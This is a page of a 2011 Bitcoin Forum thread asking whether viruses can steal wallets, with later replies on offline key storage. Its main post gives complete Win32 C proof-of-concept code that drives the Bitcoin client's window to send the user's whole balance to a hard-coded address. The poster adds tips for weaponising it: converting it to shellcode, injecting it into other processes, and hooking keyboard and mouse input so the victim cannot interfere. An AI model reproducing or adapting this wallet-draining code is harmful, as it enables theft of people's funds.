Bitcoin Forum
May 26, 2024, 06:58:49 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 2 [3]  All
  Print  
Author Topic: Can viruses steal people's bitcoin purses? What can be done for protection?  (Read 12344 times)
alowm
Newbie
*
Offline Offline

Activity: 26
Merit: 0



View Profile
February 01, 2011, 12:50:05 AM
 #41

Completely forgot to post this! Here's my proof of concept Win32 code that steals a Windows user's bitcoin balance: https://gist.github.com/c7d025a44b352f4c955f

Read the notes before you rush off to convert it to shellcode. Tongue

Notes:

  • It will intentionally not work on anything bigger than a minuscule balance because it does not calculate the transaction fee. You'll need to implement transaction fee calculation before you can use this for real. That said, if you do manage to accidentally send your entire balance to the default address on there (one of mine), I'll send it back. Smiley
  • Instead of Sleep()ing after sending/posting messages, it should loop for a bit while checking for the windows to have appeared.
  • If you do some function patching in memory and spawn a detached thread with CreateThread(), you could have a shellcode version of this run in parallel to the vulnerable process so that there's no interruption in the vulnerable thread. You could also do this with VirtualAllocEx() + CreateRemoteThread() if you're insane. Smiley
  • If you're feeling particularly devious, you could hook and dismiss all keyboard/mouse events using SetWindowsHookEx() and the WH_KEYBOARD_LL and WH_MOUSE_LL events while the shellcode is running. This prevents the user from manipulating the bitcoin windows before we're done manipulating them. Wink
  • This can be compiled using any version of Visual Studio made after 2000. It will probably work in Visual C++ 6.0, too.

In the course of writing this, it revealed that this section of Win32 code in init.cpp in bitcoin's codebase does not even work:

Code:
// Show the previous instance and exit
HWND hwndPrev = FindWindowA("wxWindowClassNR", "Bitcoin");
if (hwndPrev)
{
  if (IsIconic(hwndPrev))
    ShowWindow(hwndPrev, SW_RESTORE);
    SetForegroundWindow(hwndPrev);
    return false;
}

That should be: FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin")

And here's a copy of the code in case the github gist goes away at some point:

Code:
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>
#include <conio.h>

#define MAX_BALANCE_LENGTH 32
#define RECEIVING_ADDRESS L"17K9G8MKceqcTJAWzcqAX4uSjnawsgdWwr"

int main()
{
printf("Finding Bitcoin window...\n");

HWND bitcoin_hwnd = FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin");

if(!IsWindow(bitcoin_hwnd))
{
printf("Couldn't find Bitcoin window\n");
return 1;
}

/* -------------------------------------------------------------------------------------------------------------- */

ShowWindow(bitcoin_hwnd, SW_HIDE);

printf("Finding balance window...\n");

HWND balance_label_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"Static", L"Balance:");

if(!IsWindow(balance_label_hwnd))
{
printf("Couldn't find balance label\n");
return 1;
}

/* -------------------------------------------------------------------------------------------------------------- */

printf("Finding balance...\n");

wchar_t balance[MAX_BALANCE_LENGTH] = L"";
GetWindowTextW(GetNextWindow(balance_label_hwnd, GW_HWNDNEXT), balance, sizeof balance);
balance[(wcslen(balance)-2)] = '\0'; // The balance has two space characters (ASCII 32) on the end.

printf("Balance is: %S\n", balance);

if(!wcscmp(balance, L"0.00"))
{
printf("User has no money, can't send anything. :(\n");
return 1;
}

/* -------------------------------------------------------------------------------------------------------------- */

printf("Finding toolbar...\n");

HWND toolbar_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"ToolbarWindow32", NULL);

if(!IsWindow(toolbar_hwnd))
{
printf("Couldn't find toolbar\n");
return 1;
}

DWORD toolbar_open_coordinates = MAKELPARAM(4, 4);
PostMessageW(toolbar_hwnd, WM_LBUTTONDOWN, NULL, toolbar_open_coordinates);
Sleep(50);
// The WM_LBUTTONUP isn't considered processed until the Send Coins dialog is dismissed so we need to Post it.
PostMessageW(toolbar_hwnd, WM_LBUTTONUP, NULL, toolbar_open_coordinates);
Sleep(750);

/* -------------------------------------------------------------------------------------------------------------- */

printf("Finding Send Coins dialog...\n");

HWND send_coins_hwnd = FindWindowW(L"#32770", L"Send Coins");

if(!IsWindow(send_coins_hwnd))
{
printf("Couldn't find Send Coins dialog\n");
return 1;
}

/* -------------------------------------------------------------------------------------------------------------- */

printf("Filling out the form...\n");

HWND pay_to_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"Pay &To:");
HWND amount_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"&Amount:");

if(!IsWindow(pay_to_label_hwnd) || !IsWindow(amount_label_hwnd))
{
printf("Couldn't find one of the edit box labels\n");
return 1;
}

// SetWindowText doesn't work across processes, but WM_SETTEXT does.
SendMessageW(GetNextWindow(pay_to_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)RECEIVING_ADDRESS);
SendMessageW(GetNextWindow(amount_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)balance);

/* -------------------------------------------------------------------------------------------------------------- */

printf("Finding Send button...\n");

HWND send_button_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Button", L"&Send");

if(!IsWindow(send_button_hwnd))
{
printf("Couldn't find Send button\n");
return 1;
}

/* -------------------------------------------------------------------------------------------------------------- */

printf("Sending balance (%S)\n", balance);

DWORD send_button_coordinates = MAKELPARAM(4, 4);
SendMessageW(send_button_hwnd, WM_LBUTTONDOWN, NULL, send_button_coordinates);
Sleep(50);
// This would block because of the MessageBox that is spawned.
PostMessageW(send_button_hwnd, WM_LBUTTONUP, NULL, send_button_coordinates);
Sleep(2000);

/* -------------------------------------------------------------------------------------------------------------- */

printf("Finding Sending messagebox...\n");

HWND sending_hwnd = FindWindowW(L"#32770", L"Sending...");

if(!IsWindow(sending_hwnd))
{
printf("Couldn't find Sending messagebox\n");
return 1;
}

// Since the messagebox is modal this gets processed by the parent and kills both.
SendMessage(sending_hwnd, WM_CLOSE, NULL, NULL);

/* -------------------------------------------------------------------------------------------------------------- */

printf("All done! Press any key to exit.\n");

_getch();
return 0;
}
benjamindees
Legendary
*
Offline Offline

Activity: 1330
Merit: 1000


View Profile
February 11, 2011, 05:43:52 PM
 #42

I have to admit I'm not completely up to speed on this stuff, but if a bitcoin is just a private key, then it should be easy in theory to make your wallet write-only and redirect it to a printer or some type of write-only media.  That way whenever you receive a bitcoin it is safely stored away, and an attacker would have to setup some kind of monitoring and wait for new ones.

Civil Liberty Through Complex Mathematics
ShadowOfHarbringer
Legendary
*
Offline Offline

Activity: 1470
Merit: 1005


Bringing Legendary Har® to you since 1952


View Profile
February 11, 2011, 06:41:11 PM
 #43

I have to admit I'm not completely up to speed on this stuff, but if a bitcoin is just a private key, then it should be easy in theory to make your wallet write-only and redirect it to a printer or some type of write-only media.  That way whenever you receive a bitcoin it is safely stored away, and an attacker would have to setup some kind of monitoring and wait for new ones.

Why so difficult ?
It is very easy to set up a 20-line max shell script or PHP script that will do exactly the same - send money to another wallet.

ribuck
Donator
Hero Member
*
Offline Offline

Activity: 826
Merit: 1040


View Profile
February 11, 2011, 11:01:05 PM
 #44

That way whenever you receive a bitcoin it is safely stored away...
You don't even need to have your wallet online to receive a bitcoin. The signed transaction giving you the right to that coin gets sent to the whole network, so the network will know that the coin is yours to spend whenever you come back online. You only need access to the key at the time you spend the coin.
Pages: « 1 2 [3]  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!